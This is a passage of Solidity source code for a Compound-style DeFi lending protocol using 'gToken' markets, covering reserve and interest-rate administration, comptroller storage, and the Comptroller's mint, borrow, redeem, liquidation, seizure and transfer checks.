// Ensure invoke comptroller.isComptroller() returns true
require(newComptroller.isComptroller(), "marker method returned false");
// Set market's comptroller to newComptroller
comptroller = newComptroller;
// Emit NewComptroller(oldComptroller, newComptroller)
emit NewComptroller(oldComptroller, newComptroller);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
* @dev Admin function to accrue interest and set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
// _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
return _setReserveFactorFresh(newReserveFactorMantissa);
}
/**
* @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)
* @dev Admin function to set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
// Verify market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
// Check newReserveFactor ≤ maxReserveFactor
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Accrues interest and reduces reserves by transferring from msg.sender
* @param addAmount Amount of addition to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.
(error, ) = _addReservesFresh(addAmount);
return error;
}
/**
* @notice Add reserves by transferring from caller
* @dev Requires fresh interest accrual
* @param addAmount Amount of addition to reserves
* @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees
*/
function _addReservesFresh(uint addAmount) internal returns (uint, uint) {
// totalReserves + actualAddAmount
uint totalReservesNew;
uint actualAddAmount;
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the caller and the addAmount
* Note: The gToken must handle variations between ERC-20 and ETH underlying.
* On success, the gToken holds an additional addAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
actualAddAmount = doTransferIn(msg.sender, addAmount);
totalReservesNew = totalReserves + actualAddAmount;
/* Revert on overflow */
require(totalReservesNew >= totalReserves, "add reserves unexpected overflow");
// Store reserves[n+1] = reserves[n] + actualAddAmount
totalReserves = totalReservesNew;
/* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */
emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
/* Return (NO_ERROR, actualAddAmount) */
return (uint(Error.NO_ERROR), actualAddAmount);
}
/**
* @notice Accrues interest and reduces reserves by transferring to admin
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to.
return _reduceReservesFresh(reduceAmount);
}
/**
* @notice Reduces reserves by transferring to admin
* @dev Requires fresh interest accrual
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
// totalReserves - reduceAmount
uint totalReservesNew;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
// Fail gracefully if protocol has insufficient underlying cash
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
// Check reduceAmount ≤ reserves[n] (totalReserves)
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
totalReservesNew = totalReserves - reduceAmount;
// We checked reduceAmount <= totalReserves above, so this should never revert.
require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow");
// Store reserves[n+1] = reserves[n] - reduceAmount
totalReserves = totalReservesNew;
// doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
doTransferOut(admin, reduceAmount);
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh
* @dev Admin function to accrue interest and update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
// _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.
return _setInterestRateModelFresh(newInterestRateModel);
}
/**
* @notice updates the interest rate model (*requires fresh interest accrual)
* @dev Admin function to update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
// Used to store old model for use in the event that is emitted on success
InterestRateModel oldInterestRateModel;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
// Track the market's current interest rate model
oldInterestRateModel = interestRateModel;
// Ensure invoke newInterestRateModel.isInterestRateModel() returns true
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
// Set the interest rate model to newInterestRateModel
interestRateModel = newInterestRateModel;
// Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel)
emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint(Error.NO_ERROR);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying owned by this contract
*/
function getCashPrior() internal view returns (uint);
/**
* @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
* This may revert due to insufficient balance or insufficient allowance.
*/
function doTransferIn(address from, uint amount) internal returns (uint);
/**
* @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
* If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
* If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
*/
function doTransferOut(address payable to, uint amount) internal;
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
}
// File: contracts/PriceOracle.sol
pragma solidity 0.5.17;
contract PriceOracle {
/// @notice Indicator that this is a PriceOracle contract (for inspection)
bool public constant isPriceOracle = true;
/**
* @notice Get the underlying price of a gToken asset
* @param gToken The gToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(GToken gToken) external view returns (uint);
/**
* Get underlying market price for web app
*/
function getMarketPrice(string calldata symbol) external view returns (uint);
/**
* Get underlying oracle price for web app
*/
function price(string calldata symbol) external view returns (uint);
}
// File: contracts/ComptrollerStorage.sol
pragma solidity 0.5.17;
contract UnitrollerAdminStorage {
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Pending administrator for this contract
*/
address public pendingAdmin;
/**
* @notice Active brains of Supervisor
*/
address public comptrollerImplementation;
/**
* @notice Pending brains of Supervisor
*/
address public pendingComptrollerImplementation;
}
contract ComptrollerV1Storage is UnitrollerAdminStorage {
/**
* @notice Oracle which gives the price of any given asset
*/
PriceOracle public oracle;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint public closeFactorMantissa;
/**
* @notice Multiplier representing the discount on collateral that a liquidator receives
*/
uint public liquidationIncentiveMantissa;
/**
* @notice Max number of assets a single account can participate in (borrow or use as collateral)
*/
uint public maxAssets;
/**
* @notice Per-account mapping of "assets you are in", capped by maxAssets
*/
mapping(address => GToken[]) public accountAssets;
}
contract ComptrollerV2Storage is ComptrollerV1Storage {
struct Market {
/// @notice Whether or not this market is listed
bool isListed;
/**
* @notice Multiplier representing the most one can borrow against their collateral in this market.
* For instance, 0.9 to allow borrowing 90% of collateral value.
* Must be between 0 and 1, and stored as a mantissa.
*/
uint collateralFactorMantissa;
/// @notice Per-market mapping of "accounts in this asset"
mapping(address => bool) accountMembership;
/// @notice Whether or not this market receives COMP
bool isComped;
}
/**
* @notice Official mapping of cTokens -> Market metadata
* @dev Used e.g. to determine if a market is supported
*/
mapping(address => Market) public markets;
/**
* @notice The Pause Guardian can pause certain actions as a safety mechanism.
* Actions which allow users to remove their own assets cannot be paused.
* Liquidation / seizing / transfer can only be paused globally, not by market.
*/
address public pauseGuardian;
bool public _mintGuardianPaused;
bool public _borrowGuardianPaused;
bool public transferGuardianPaused;
bool public seizeGuardianPaused;
mapping(address => bool) public mintGuardianPaused;
mapping(address => bool) public borrowGuardianPaused;
}
contract ComptrollerV3Storage is ComptrollerV2Storage {
/// @notice A list of all markets
GToken[] public allMarkets;
}
// File: contracts/Comptroller.sol
pragma solidity 0.5.17;
/**
* @title Comptroller Contract
*/
contract Comptroller is ComptrollerV3Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential {
/// @notice Emitted when an admin supports a market
event MarketListed(GToken gToken);
/// @notice Emitted when an account enters a market
event MarketEntered(GToken gToken, address account);
/// @notice Emitted when an account exits a market
event MarketExited(GToken gToken, address account);
/// @notice Emitted when close factor is changed by admin
event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa);
/// @notice Emitted when a collateral factor is changed by admin
event NewCollateralFactor(GToken gToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa);
/// @notice Emitted when liquidation incentive is changed by admin
event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa);
/// @notice Emitted when maxAssets is changed by admin
event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets);
/// @notice Emitted when price oracle is changed
event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle);
/// @notice Emitted when pause guardian is changed
event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);
/// @notice Emitted when an action is paused globally
event ActionGlobalPaused(string action, bool pauseState);
/// @notice Emitted when an action is paused on a market
event ActionMarketPaused(GToken gToken, string action, bool pauseState);
/// @notice Emitted when market comped status is changed
event MarketComped(GToken gToken, bool isComped);
/// @notice Emitted when pendingAdmin is changed
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/// @notice Emitted when pendingAdmin is accepted, which means admin is updated
event NewAdmin(address oldAdmin, address newAdmin);
// closeFactorMantissa must be strictly greater than this value
uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05
// closeFactorMantissa must not exceed this value
uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9
// No collateralFactorMantissa may exceed this value
uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9
// liquidationIncentiveMantissa must be no less than this value
uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0
// liquidationIncentiveMantissa must be no greater than this value
uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5
constructor() public {
admin = msg.sender;
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address newPendingAdmin) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() public returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/*** Assets You Are In ***/
/**
* @notice Returns the assets an account has entered
* @param account The address of the account to pull assets for
* @return A dynamic list with the assets the account has entered
*/
function getAssetsIn(address account) external view returns (GToken[] memory) {
GToken[] memory assetsIn = accountAssets[account];
return assetsIn;
}
/**
* @notice Returns whether the given account is entered in the given asset
* @param account The address of the account to check
* @param gToken The gToken to check
* @return True if the account is in the asset, otherwise false.
*/
function checkMembership(address account, GToken gToken) external view returns (bool) {
return markets[address(gToken)].accountMembership[account];
}
/**
* @notice Add assets to be included in account liquidity calculation
* @param gTokens The list of addresses of the gToken markets to be enabled
* @return Success indicator for whether each corresponding market was entered
*/
function enterMarkets(address[] memory gTokens) public returns (uint[] memory) {
uint len = gTokens.length;
uint[] memory results = new uint[](len);
for (uint i = 0; i < len; i++) {
GToken gToken = GToken(gTokens[i]);
results[i] = uint(addToMarketInternal(gToken, msg.sender));
}
return results;
}
/**
* @notice Add the market to the borrower's "assets in" for liquidity calculations
* @param gToken The market to enter
* @param borrower The address of the account to modify
* @return Success indicator for whether the market was entered
*/
function addToMarketInternal(GToken gToken, address borrower) internal returns (Error) {
Market storage marketToJoin = markets[address(gToken)];
if (!marketToJoin.isListed) {
// market is not listed, cannot join
return Error.MARKET_NOT_LISTED;
}
if (marketToJoin.accountMembership[borrower] == true) {
// already joined
return Error.NO_ERROR;
}
if (accountAssets[borrower].length >= maxAssets) {
// no space, cannot join
return Error.TOO_MANY_ASSETS;
}
// survived the gauntlet, add to list
// NOTE: we store these somewhat redundantly as a significant optimization
// this avoids having to iterate through the list for the most common use cases
// that is, only when we need to perform liquidity checks
// and not whenever we want to check if an account is in a particular market
marketToJoin.accountMembership[borrower] = true;
accountAssets[borrower].push(gToken);
emit MarketEntered(gToken, borrower);
return Error.NO_ERROR;
}
/**
* @notice Removes asset from sender's account liquidity calculation
* @dev Sender must not have an outstanding borrow balance in the asset,
* or be providing necessary collateral for an outstanding borrow.
* @param gTokenAddress The address of the asset to be removed
* @return Whether or not the account successfully exited the market
*/
function exitMarket(address gTokenAddress) external returns (uint) {
GToken gToken = GToken(gTokenAddress);
/* Get sender tokensHeld and amountOwed underlying from the gToken */
(uint oErr, uint tokensHeld, uint amountOwed, ) = gToken.getAccountSnapshot(msg.sender);
require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code
/* Fail if the sender has a borrow balance */
if (amountOwed != 0) {
return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED);
}
/* Fail if the sender is not permitted to redeem all of their tokens */
uint allowed = redeemAllowedInternal(gTokenAddress, msg.sender, tokensHeld);
if (allowed != 0) {
return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed);
}
Market storage marketToExit = markets[address(gToken)];
/* Return true if the sender is not already ‘in’ the market */
if (!marketToExit.accountMembership[msg.sender]) {
return uint(Error.NO_ERROR);
}
/* Set gToken account membership to false */
delete marketToExit.accountMembership[msg.sender];
/* Delete gToken from the account’s list of assets */
// load into memory for faster iteration
GToken[] memory userAssetList = accountAssets[msg.sender];
uint len = userAssetList.length;
uint assetIndex = len;
for (uint i = 0; i < len; i++) {
if (userAssetList[i] == gToken) {
assetIndex = i;
break;
}
}
// We *must* have found the asset in the list or our redundant data structure is broken
assert(assetIndex < len);
// copy last item in list to location of item to be removed, reduce length by 1
GToken[] storage storedList = accountAssets[msg.sender];
storedList[assetIndex] = storedList[storedList.length - 1];
storedList.length--;
emit MarketExited(gToken, msg.sender);
return uint(Error.NO_ERROR);
}
/*** Policy Hooks ***/
/**
* @notice Checks if the account should be allowed to mint tokens in the given market
* @param gToken The market to verify the mint against
* @param minter The account which would get the minted tokens
* @param mintAmount The amount of underlying being supplied to the market in exchange for tokens
* @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function mintAllowed(address gToken, address minter, uint mintAmount) external returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!mintGuardianPaused[gToken], "mint is paused");
// Shh - currently unused
minter;
mintAmount;
if (!markets[gToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates mint and reverts on rejection. May emit logs.
* @param gToken Asset being minted
* @param minter The address minting the tokens
* @param actualMintAmount The amount of the underlying asset being minted
* @param mintTokens The number of tokens being minted
*/
function mintVerify(address gToken, address minter, uint actualMintAmount, uint mintTokens) external {
// Shh - currently unused
gToken;
minter;
actualMintAmount;
mintTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to redeem tokens in the given market
* @param gToken The market to verify the redeem against
* @param redeemer The account which would redeem the tokens
* @param redeemTokens The number of gTokens to exchange for the underlying asset in the market
* @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function redeemAllowed(address gToken, address redeemer, uint redeemTokens) external returns (uint) {
uint allowed = redeemAllowedInternal(gToken, redeemer, redeemTokens);
if (allowed != uint(Error.NO_ERROR)) {
return allowed;
}
return uint(Error.NO_ERROR);
}
function redeemAllowedInternal(address gToken, address redeemer, uint redeemTokens) internal view returns (uint) {
if (!markets[gToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
/* If the redeemer is not 'in' the market, then we can bypass the liquidity check */
if (!markets[gToken].accountMembership[redeemer]) {
return uint(Error.NO_ERROR);
}
/* Otherwise, perform a hypothetical liquidity check to guard against shortfall */
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, GToken(gToken), redeemTokens, 0);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates redeem and reverts on rejection. May emit logs.
* @param gToken Asset being redeemed
* @param redeemer The address redeeming the tokens
* @param redeemAmount The amount of the underlying asset being redeemed
* @param redeemTokens The number of tokens being redeemed
*/
function redeemVerify(address gToken, address redeemer, uint redeemAmount, uint redeemTokens) external {
// Shh - currently unused
gToken;
redeemer;
// Require tokens is zero or amount is also zero
if (redeemTokens == 0 && redeemAmount > 0) {
revert("redeemTokens zero");
}
}
/**
* @notice Checks if the account should be allowed to borrow the underlying asset of the given market
* @param gToken The market to verify the borrow against
* @param borrower The account which would borrow the asset
* @param borrowAmount The amount of underlying the account would borrow
* @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function borrowAllowed(address gToken, address borrower, uint borrowAmount) external returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!borrowGuardianPaused[gToken], "borrow is paused");
if (!markets[gToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (!markets[gToken].accountMembership[borrower]) {
// only gTokens may call borrowAllowed if borrower not in market
require(msg.sender == gToken, "sender must be gToken");
// attempt to add borrower to the market
Error err = addToMarketInternal(GToken(msg.sender), borrower);
if (err != Error.NO_ERROR) {
return uint(err);
}
// it should be impossible to break the important invariant
assert(markets[gToken].accountMembership[borrower]);
}
if (oracle.getUnderlyingPrice(GToken(gToken)) == 0) {
return uint(Error.PRICE_ERROR);
}
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, GToken(gToken), 0, borrowAmount);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates borrow and reverts on rejection. May emit logs.
* @param gToken Asset whose underlying is being borrowed
* @param borrower The address borrowing the underlying
* @param borrowAmount The amount of the underlying asset requested to borrow
*/
function borrowVerify(address gToken, address borrower, uint borrowAmount) external {
// Shh - currently unused
gToken;
borrower;
borrowAmount;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to repay a borrow in the given market
* @param gToken The market to verify the repay against
* @param payer The account which would repay the asset
* @param borrower The account which would borrowed the asset
* @param repayAmount The amount of the underlying asset the account would repay
* @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function repayBorrowAllowed(
address gToken,
address payer,
address borrower,
uint repayAmount) external returns (uint) {
// Shh - currently unused
payer;
borrower;
repayAmount;
if (!markets[gToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates repayBorrow and reverts on rejection. May emit logs.
* @param gToken Asset being repaid
* @param payer The address repaying the borrow
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function repayBorrowVerify(
address gToken,
address payer,
address borrower,
uint actualRepayAmount,
uint borrowerIndex) external {
// Shh - currently unused
gToken;
payer;
borrower;
actualRepayAmount;
borrowerIndex;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the liquidation should be allowed to occur
* @param gTokenBorrowed Asset which was borrowed by the borrower
* @param gTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param repayAmount The amount of underlying being repaid
*/
function liquidateBorrowAllowed(
address gTokenBorrowed,
address gTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint) {
// Shh - currently unused
liquidator;
if (!markets[gTokenBorrowed].isListed || !markets[gTokenCollateral].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
/* The borrower must have shortfall in order to be liquidatable */
(Error err, , uint shortfall) = getAccountLiquidityInternal(borrower);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall == 0) {
return uint(Error.INSUFFICIENT_SHORTFALL);
}
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint borrowBalance = GToken(gTokenBorrowed).borrowBalanceStored(borrower);
(MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance);
if (mathErr != MathError.NO_ERROR) {
return uint(Error.MATH_ERROR);
}
if (repayAmount > maxClose) {
return uint(Error.TOO_MUCH_REPAY);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates liquidateBorrow and reverts on rejection. May emit logs.
* @param gTokenBorrowed Asset which was borrowed by the borrower
* @param gTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function liquidateBorrowVerify(
address gTokenBorrowed,
address gTokenCollateral,
address liquidator,
address borrower,
uint actualRepayAmount,
uint seizeTokens) external {
// Shh - currently unused
gTokenBorrowed;
gTokenCollateral;
liquidator;
borrower;
actualRepayAmount;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the seizing of assets should be allowed to occur
* @param gTokenCollateral Asset which was used as collateral and will be seized
* @param gTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeAllowed(
address gTokenCollateral,
address gTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!seizeGuardianPaused, "seize is paused");
// Shh - currently unused
seizeTokens;
if (!markets[gTokenCollateral].isListed || !markets[gTokenBorrowed].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (GToken(gTokenCollateral).comptroller() != GToken(gTokenBorrowed).comptroller()) {
return uint(Error.COMPTROLLER_MISMATCH);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates seize and reverts on rejection. May emit logs.
* @param gTokenCollateral Asset which was used as collateral and will be seized
* @param gTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeVerify(
address gTokenCollateral,
address gTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external {
// Shh - currently unused
gTokenCollateral;
gTokenBorrowed;
liquidator;
borrower;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to transfer tokens in the given market
* @param gToken The market to verify the transfer against
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of gTokens to transfer
* @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function transferAllowed(address gToken, address src, address dst, uint transferTokens) external returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!transferGuardianPaused, "transfer is paused");
// Currently the only consideration is whether or not
// the src is allowed to redeem this many tokens
uint allowed = redeemAllowedInternal(gToken, src, transferTokens);
if (allowed != uint(Error.NO_ERROR)) {
return allowed;
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates transfer and reverts on rejection. May emit logs.
* @param gToken Asset being transferred
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of gTokens to transfer
*/
function transferVerify(address gToken, address src, address dst, uint transferTokens) external {
// Shh - currently unused
gToken;
src;
dst;
transferTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/*** Liquidity/Liquidation Calculations ***/
/**
* @dev Local vars for avoiding stack-depth limits in calculating account liquidity.
* Note that `gTokenBalance` is the number of gTokens the account owns in the market,
* whereas `borrowBalance` is the amount of underlying that the account has borrowed.
*/
struct AccountLiquidityLocalVars {
uint sumCollateral;
uint sumBorrowPlusEffects;
uint gTokenBalance;
uint borrowBalance;
uint exchangeRateMantissa;
uint oraclePriceMantissa;
Exp collateralFactor;
Exp exchangeRate;
Exp oraclePrice;
Exp tokensToDenom;
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code (semi-opaque),
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidity(address account) public view returns (uint, uint, uint) {
(Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, GToken(0), 0, 0);
return (uint(err), liquidity, shortfall);
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code,
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) {
return getHypotheticalAccountLiquidityInternal(account, GToken(0), 0, 0);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param gTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
